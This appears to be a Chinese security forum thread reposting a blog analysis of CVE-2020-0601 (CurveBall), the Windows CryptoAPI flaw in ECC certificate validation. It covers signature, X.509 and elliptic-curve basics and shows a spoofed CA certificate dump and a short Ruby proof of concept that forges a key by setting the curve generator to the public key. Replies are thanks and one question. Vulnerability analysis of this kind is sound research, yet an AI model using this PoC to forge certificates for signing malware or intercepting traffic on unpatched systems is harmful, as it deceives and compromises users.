影子经纪人-官网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 155|回复: 9

CVE-2020-0601分析

[复制链接]

该用户从未签到

1

主题

1

帖子

5

积分

新手上路

Rank: 1

积分
5
发表于 2021-7-20 22:48:52 | 显示全部楼层 |阅读模式
大半年没发东西了,本着分享的原则,这次就把我博客的一篇文章分享下,也是一个陈年老洞了,这个CVE-2020-0601的利用方法主要有两种,文章最后介绍了一种,还有一种嘛,等兄弟们自己探索了。
CVE-2020-0601分析

介绍

CVE对该漏洞的简述:
Windows CryptoAPI(Crypt32.dll)验证ECC证书的方法中存在一个欺骗性漏洞,攻击者可以使用伪造的数字码签名证书对一个恶意的可执行文件进行签名来利用该漏洞,使可执行文件看起来像是来自一个可信任的、合法的来源。该漏洞也被称为“Windows CryptoAPI Spoofing Vulnerability”。
在真实环境中,攻击者利用该漏洞可以让一些恶意代码(如勒索病毒)拥有看上去可信任的证书,使得被攻击者安装恶意代码;攻击也可以通过中间人攻击的方式获取被攻击者连接受影响软件的机密信息。
数字签名

简单说明下数字签名。
Bob与Alice进行通信,Bob拥有私钥d,Alice拥有公钥e。Bob向Alice发送消息message,Alice需要确保消息的以下两个性质:
    真实性,即消息确实是从Bob发送过来的;完整性,即消息在传输过程中未经过修改;
真实性

Bob首先使用单向散列函数将消息message转换为摘要digest:
  1. Hash(message)=digest;
复制代码
然后将摘要使用私钥进行加密,得到密文ciphertext:
  1. F(d,digest)=ciphertext;
复制代码
最后将ciphertext附加在消息message后面发送给Alice:
  1. send(message.append(ciphertext));
复制代码
Alice接受到Bob发送过来的内容后首先使用公钥对附加的ciphertext解密出digest,只要能解密成功(当然Bob的私钥没有泄露),就能确保发送的内容确实来自Bob:
  1. G(e,ciphertext)=digest;
复制代码
完整性

Alice解密出digest后,与发送的内容中的消息部分message使用单向散列函数得到摘要进行对比,相等的话就可以证明message没有被改动过,也就确保了消息的完整性:
  1. if(Hash(message) == digest)
  2.     return TRUE;
  3. else
  4.     return FALSE;
复制代码
数字证书的引入

有一位攻击者Mallory试图攻击刚才的认证过程,当Bob持有的私钥绝对安全时,Mallory可以通过窃取替换Alice持有的公钥进行中间人攻击。
此时Mallory伪装成Bob使用自己的私钥向Alice发送消息和加密的消息摘要后,Alice使用Mallory的公钥对消息摘要进行解密并验证哈希后是成功的,Alice仍然会认为Mallory发送过来的内容是完整真实的。
此时Alice就需要第三方的CA中心帮助,将Bob的公钥和一些个人信息进行加密,得到Bob的数字证书。
当Bob将附上证书和签名的消息发送给Alice,Alice使用CA中心的公钥来检查上面的数字证书,解密成功就说明Alice创建了这个证书,Bob的身份是值得信任的。
简单来说,什么东西可能被窃取,那就将其进行加密保存(如这里Alice持有的公钥),并通过第三方来进行验证(CA centre)。
在实际的使用中,数字证书的格式遵循X.509标准。
X.509

X.509是ITU公钥证书的格式标准,使用了ASN.1规定了公钥证书的结构:
  1. Certificate ::= SEQUENCE{                           //证书全部内容开始,结构化不定长编码
  2.     tbsCertificate          TBSCertificate,         //证书主体
  3.     signatureAlgorithm      AlgorithmIdentifier,    //证书签名算法标识
  4.     signatureValue          BIT STRING              //证书签名值,使用signatureAlgorithmv部分指定的签名算法对tbsCertificate证书主题部分签名后的值
  5. }
复制代码
证书主体结构:
  1. TBSCertificate  ::= SEQUENCE{
  2.     version                 [0] EXPLICIT Version DEFAULT v1,    //证书版本号
  3.     sericalNumber           AlgorithmIdentifier,                //证书序列号,对同一CA所颁发的证书,序列号唯一标识证书
  4.     signature               AlgorithmIdentifier,                //证书签名算法标识
  5.     issuer                  Name,                               //证书发行者名称
  6.     validity                Validity,                           //证书有效期
  7.     subject                 Name,                               //证书主体名称
  8.     subjectPublicKeyinfo    SubjectPublicKeyInfo                //证书公钥
  9.     issuerUniqueID  [1]     IMPLICIT UniqueIdentifier OPTIONAL  //证书发行者ID(可选),只在证书版本2,3中才有
  10.     subjectUnique   [2]     IMPLICIT UniqueIdentifier OPTIONAL  //证书主题ID(可选),只在证书版本2,3中才有
  11.     extensions      [3]     EXPLICIT Extentions       OPTIONAL  //证书扩展段(可选),只在证书版本2,3中才有
  12. }
复制代码
比较关键的SubjectPublicKeyInfo结构:
  1. SubjectPublicKeyInfo    ::= SEQUENCE{
  2.     algorithm           AlgorithmIdentifier,        //公钥算法信息
  3.     subjectPublicKey    BIT STRING                  //公钥
  4. }
复制代码
AlgorithmIdentifier(公钥算法信息)结构如下:
  1. AlgorithmIdentifier     ::= SEQUENCE{
  2.     algorithm           OBJECT IDENTIFIER,                  //对象标识符
  3.     parameters          ANY DEFINED BY algorithm OPTIONAL   //可选参数
  4. }
复制代码
OID标识了公钥的算法,如rsaEncryption,OID为1.2.840.113549.1.1.1;dsa算法,OID为1.2.840.10040.4.1;ECC算法,OID为1.2.840.10045.2.1。
此时paramter结构如下(由RFC 3279定义):
  1. EcpkParameters      ::= CHOICE{
  2.     ecParameters    ECParameter,            //用于显示指定曲线参数
  3.     namedCurve      OBJECT IDENTIFIER,      //用于隐式指定曲线参数
  4.     implicitlyCA    NULL   
  5. }
复制代码
攻击者可以通过使用设置ecParameters参数的证书来伪造合法证书来进行漏洞利用:
  1. ECParameter     ::= SEQUENCE{
  2.     version     ECPver,             //版本号常设为1
  3.     field       FieldID,            //定义椭圆曲线定义所在的有限域
  4.     curve       Curve,              //定义椭圆曲线的参数a和b
  5.     base        ECPoint,            //设置椭圆曲线的基点P
  6.     order       INTEGER,            //阶数n
  7.     coofactor   INTEGER OPTIONAL    //可选参数,h = #E(Fq)/n
  8. }
复制代码
ECC

椭圆曲线定义方程:
  1. y^2 = x^3 + ax + b
  2. (4a^3 + 27b^2 mod p != 0)
复制代码
该方程的解(x,y)由给定的大素数所决定的素数域GF(p)决定,取x(0 <= x <= p),计算x^3 + ax + b mod p = y^2,这里根据y^2(0 <= y <= p) mod p是否可开根即可。
椭圆曲线的生成元G可以生成椭圆曲线上其他的任意点,即{nG|n属于{1,2,3......}}表示了椭圆曲线所有点。
椭圆曲线上的任一点Q=nG一般通过如下操作计算:
  1. 2G = G ⊕ G
  2. 3G = 2G ⊕ G
  3. .......
  4. nG = iG ⊕ jG(i + j = n)
复制代码
这里的"⊕"为椭圆曲线定义的加法运算。
加密算法

Q=dG,d为私钥,Q为公钥。通过d,G求出Q很简单,而通过Q,G求出d很困难。但是当生成元G没有经过校验,可以任意选取,那很容易通过一个G'伪造出d',只要使得:
  1. d'G' = dG = Q
复制代码
即可。
如:
  1. G' = Q
  2. d' = 1
  3. G'd' = Q
复制代码
攻击者通过操控ECParameter中的参数显式地指定椭圆曲线;公钥和现有证书的公钥相同。修改椭圆曲线的生成元,使得所有其他的参数与原始证书上使用的命名曲线的预定参数相同来执行该操作。
  1. C:\Users\andycylin\Desktop\CurveBall-master\CurveBall-master>openssl x509 -in spoofed_ca.crt -text -noout
  2. Certificate:
  3.     Data:
  4.         Version: 3 (0x2)
  5.         Serial Number:
  6.             43:cf:88:69:64:c2:44:ad:bc:d6:d6:4d:b5:44:1f:ef:00:c4:ac:36
  7.         Signature Algorithm: ecdsa-with-SHA256
  8.         Issuer: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
  9.         Validity
  10.             Not Before: Jul 21 12:01:56 2020 GMT
  11.             Not After : Aug 20 12:01:56 2020 GMT
  12.         Subject: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
  13.         Subject Public Key Info:
  14.             Public Key Algorithm: id-ecPublicKey
  15.                 Public-Key: (384 bit)
  16.                 pub:
  17.                     04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
  18.                     ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
  19.                     ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
  20.                     b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
  21.                     19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
  22.                     27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
  23.                     7a:7d:a6:f4:01:07:ac
  24.                 Field Type: prime-field
  25.                 Prime:
  26.                     00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
  27.                     ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
  28.                     ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
  29.                     ff:ff:ff:ff
  30.                 A:
  31.                     00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
  32.                     ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
  33.                     ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
  34.                     ff:ff:ff:fc
  35.                 B:
  36.                     00:b3:31:2f:a7:e2:3e:e7:e4:98:8e:05:6b:e3:f8:
  37.                     2d:19:18:1d:9c:6e:fe:81:41:12:03:14:08:8f:50:
  38.                     13:87:5a:c6:56:39:8d:8a:2e:d1:9d:2a:85:c8:ed:
  39.                     d3:ec:2a:ef
  40.                 Generator (uncompressed):
  41.                     04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
  42.                     ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
  43.                     ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
  44.                     b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
  45.                     19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
  46.                     27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
  47.                     7a:7d:a6:f4:01:07:ac
  48.                 Order:
  49.                     00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
  50.                     ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:c7:63:4d:81:f4:
  51.                     37:2d:df:58:1a:0d:b2:48:b0:a7:7a:ec:ec:19:6a:
  52.                     cc:c5:29:73
  53.                 Cofactor:  1 (0x1)
  54.                 Seed:
  55.                     a3:35:92:6a:a3:19:a2:7a:1d:00:89:6a:67:73:a4:
  56.                     82:7a:cd:ac:73
  57.         X509v3 extensions:
  58.             X509v3 Subject Key Identifier:
  59.                 43:EF:70:87:B8:9D:BF:EC:88:19:DC:C6:C4:6B:75:0D:75:34:33:08
  60.             X509v3 Authority Key Identifier:
  61.                 keyid:43:EF:70:87:B8:9D:BF:EC:88:19:DC:C6:C4:6B:75:0D:75:34:33:08
  62.             X509v3 Basic Constraints: critical
  63.                 CA:TRUE
  64.     Signature Algorithm: ecdsa-with-SHA256
  65.          30:66:02:31:00:c0:a1:bd:26:39:2b:e8:ac:60:8b:2c:2b:a2:
  66.          d5:ea:cc:53:e4:c7:d6:c0:6b:4a:65:be:5e:3c:d5:82:f0:e3:
  67.          61:b2:c1:c2:54:cd:c2:f8:64:89:bd:00:d3:2b:9a:67:ee:02:
  68.          31:00:c1:03:bc:41:3d:ec:19:89:5f:1d:f4:b2:ad:43:6b:da:
  69.          60:b7:6f:ae:2b:17:00:78:db:d0:ab:cc:db:02:b7:96:d0:0b:
  70.          01:ce:c9:a6:df:b2:0e:56:d3:79:7f:37:3c:e2
复制代码
可以看到伪造的证书生成元与公钥相同均为:
  1. 04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
  2. ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
  3. ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
  4. b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
  5. 19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
  6. 27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
  7. 7a:7d:a6:f4:01:07:ac
复制代码
漏洞分析

漏洞利用样例

真实情形下系统使用ECC证书的例子:
    windows与wikipedia进行TLS可靠通信,wikipedia拥有由CA中心颁发的证书:
网络新闻动向交流-大半年没发东西了,本着分享的原则,这次就把我博客的一篇文章分享下,也是一个陈年老洞了,这个CVE-2020-0(1)
    wikipedia将证书发送给windows:
网络新闻动向交流-大半年没发东西了,本着分享的原则,这次就把我博客的一篇文章分享下,也是一个陈年老洞了,这个CVE-2020-0(2)
    windows会将证书放到自己的缓存中以方便下次使用,当下次使用时证书存在缓存中,则使用缓存中的证书进行校验:
网络新闻动向交流-大半年没发东西了,本着分享的原则,这次就把我博客的一篇文章分享下,也是一个陈年老洞了,这个CVE-2020-0(3)
    攻击者可以伪造假的网站证书来伪装成合法网站通过windows证书校验:
网络新闻动向交流-大半年没发东西了,本着分享的原则,这次就把我博客的一篇文章分享下,也是一个陈年老洞了,这个CVE-2020-0(4)
这里【4】就是利用了CVE-2020-0601漏洞,该漏洞实则为windows证书缓存机制的漏洞。
缓存中保存了一些证书的公钥,攻击者可以使用其中一个的公钥进行伪造证书:
网络新闻动向交流-大半年没发东西了,本着分享的原则,这次就把我博客的一篇文章分享下,也是一个陈年老洞了,这个CVE-2020-0(5)
而由于缓存的证书没有验证椭圆曲线的定义,导致了证书的伪造成功:
网络新闻动向交流-大半年没发东西了,本着分享的原则,这次就把我博客的一篇文章分享下,也是一个陈年老洞了,这个CVE-2020-0(6)
这里就可以通过上述显式的指定ECC(指定p,a,b)来伪造可靠证书中的椭圆曲线,然后指定生成元等于公钥,这样私钥就是1,伪造出证书。
POC

Ollypwn的POC:
  1. require 'openssl'
  2. # 读取文件
  3. raw =   File.read ARGV[0]
  4. # 将合法证书读取为证书
  5. ca  =   OpenSSL::X509::Certficate.new(raw)
  6. # 获取合法证书公钥
  7. ca_pubkey   =   ca.public_key
  8. # 设置私钥为1
  9. ca_pubkey.private_key   =   1
  10. # 获取椭圆曲线的参数
  11. group   =   ca_pubkey.group
  12. # 设置生成元等于公钥
  13. group.set_generator(ca_pubkey.public_key,group.order,group.cofactor)
  14. # 保证使用的是ECC的参数
  15. group.asn1_flag =   OpenSSL::PKey::EC::EXPLICIT_CURVE
  16. # 在公钥(最终点)基础上设置修改后的椭圆参数
  17. ca_pubkey.group =   group
  18. # 写入伪造证书
  19. File.open("spoofed_ca.key",'w'){|f|f.write  ca_pubkey.to_pem}
复制代码
code signing 欺骗

为软件进行签名:
网络新闻动向交流-大半年没发东西了,本着分享的原则,这次就把我博客的一篇文章分享下,也是一个陈年老洞了,这个CVE-2020-0(7)
攻击成功。
安装好补丁的则提示证书不可信:
网络新闻动向交流-大半年没发东西了,本着分享的原则,这次就把我博客的一篇文章分享下,也是一个陈年老洞了,这个CVE-2020-0(8)
参考:

https://www.youtube.com/watch?v=8RI60aRyhoE
https://github.com/ollypwn/CurveBall
https://ctf-wiki.github.io/ctf-wiki/crypto/signature/elgamal-zh/
https://blog.trendmicro.com/trendlabs-security-intelligence/an-in-depth-technical-analysis-of-curveball-cve-2020-0601/
https://www.anquanke.com/post/id/201228#h2-5

该用户从未签到

2

主题

561

帖子

463

积分

中级会员

Rank: 3Rank: 3

积分
463
发表于 2021-7-20 22:49:49 | 显示全部楼层
我这里讲的比较粗,具体的Crypt32.dll中哪个函数有问题可以参考https://www.trendmicro.com/en_us/research/20/b/an-in-depth-technical-analysis-of-curveball-cve-2020-0601.html这篇文章,作者分析比较细致。
回复

使用道具 举报

该用户从未签到

0

主题

615

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-20 22:49:54 | 显示全部楼层
谢谢楼主分享~~~
回复

使用道具 举报

该用户从未签到

2

主题

561

帖子

463

积分

中级会员

Rank: 3Rank: 3

积分
463
发表于 2021-7-20 22:50:05 | 显示全部楼层
讲解的比较详细 谢谢
回复

使用道具 举报

该用户从未签到

0

主题

610

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-20 22:51:03 | 显示全部楼层
谢谢楼主分享~~~
回复

使用道具 举报

该用户从未签到

0

主题

615

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-20 22:51:59 | 显示全部楼层
厉害,期待大神开发poc
回复

使用道具 举报

该用户从未签到

2

主题

561

帖子

463

积分

中级会员

Rank: 3Rank: 3

积分
463
发表于 2021-7-20 22:52:34 | 显示全部楼层
不错,学习了啊
回复

使用道具 举报

该用户从未签到

0

主题

615

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-20 22:53:31 | 显示全部楼层
赶紧Rss加一波博客~~
回复

使用道具 举报

该用户从未签到

0

主题

610

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-20 22:54:27 | 显示全部楼层
感谢大神分享
回复

使用道具 举报

该用户从未签到

0

主题

615

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-20 22:54:37 | 显示全部楼层
其实该漏洞就是win自身的漏洞,而没有进行私钥校验,只要你用公钥加密了就可以了。是这样吗?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭Powered by ©科大讯飞语音云

QQ|Archiver|手机版|小黑屋|TBC ( 鄂ICP备19004742号(鄂ICP备19004742号-2) )|网站地图|鄂ICP备19004742号(鄂ICP备19004742号-2) 联系站长

GMT+8, 2021-7-29 14:44 , Processed in 0.906250 second(s), 50 queries .

Powered by TBC! X3.4

© 2001-2020 TBC.. 技术支持 by 中国c.n.m安全小组

快速回复 返回顶部 返回列表